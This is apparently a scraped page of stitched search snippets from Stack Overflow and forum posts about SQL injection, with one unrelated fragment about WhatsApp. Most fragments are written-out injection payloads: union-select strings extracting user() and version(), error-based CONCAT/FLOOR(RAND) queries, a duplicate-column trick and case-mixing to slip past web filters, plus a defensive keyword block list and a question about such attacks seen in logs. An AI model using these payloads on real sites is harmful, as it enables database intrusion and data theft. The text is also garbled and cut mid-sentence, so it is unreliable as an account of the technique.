sql - Union to handle NULL values - Stack Overflow ... count(*),concat((select ( select concat(0x7e,0x27,Hex(cast(user() as char)),0x27,0x7e)) from information_schema.tables limit 0,1) ... whatsapp for windows phone pc
999999.9+union+all+select+%27R3DM0V3_hvj_injection',null.
...NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT%28version(),0x3a,user
On my site, for instance, it's entirely safe to fail any request with the string 'concat' or %20union' or 'information_schema'. Indeed, I can even ban any IP that so much as bothers to attempt a request including such strings.
Your thoughts about changing the nature of your business are helpful. On my site, for instance, it's entirely safe to fail any request with the string 'concat' or %20union' or 'information_schema'.
union all select id =null union all select id =1 +and+ false + union +all +select id = 9999 union all select +union+distinct+select+ +union+distinctROW+select+
+and+(select+*+from+(select+*+from+information_schema.tables+as+x+join+information_schema.tables+y+using+(TABLE_CATALOG))as+z)--. Duplicate column name 'TABLE_SCHEMA'. That's it for now, I'll try and update this when I learn more methods of error based injection.
What I would like to know why "999999.9", what is "0x39313335313435363237322e39". When this attack works what information would the hackers have or edits would they have done to the database. Last could this attack run over and over again bring down/crash the server?
Instead of union UnIoN In some basic WAF’s this will work. An example in URL
+AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP by CONCAT((SELECT version() FROM information_schema.tables LIMIT 0,1),FLOOR(RAND(0)*2))). URL will look like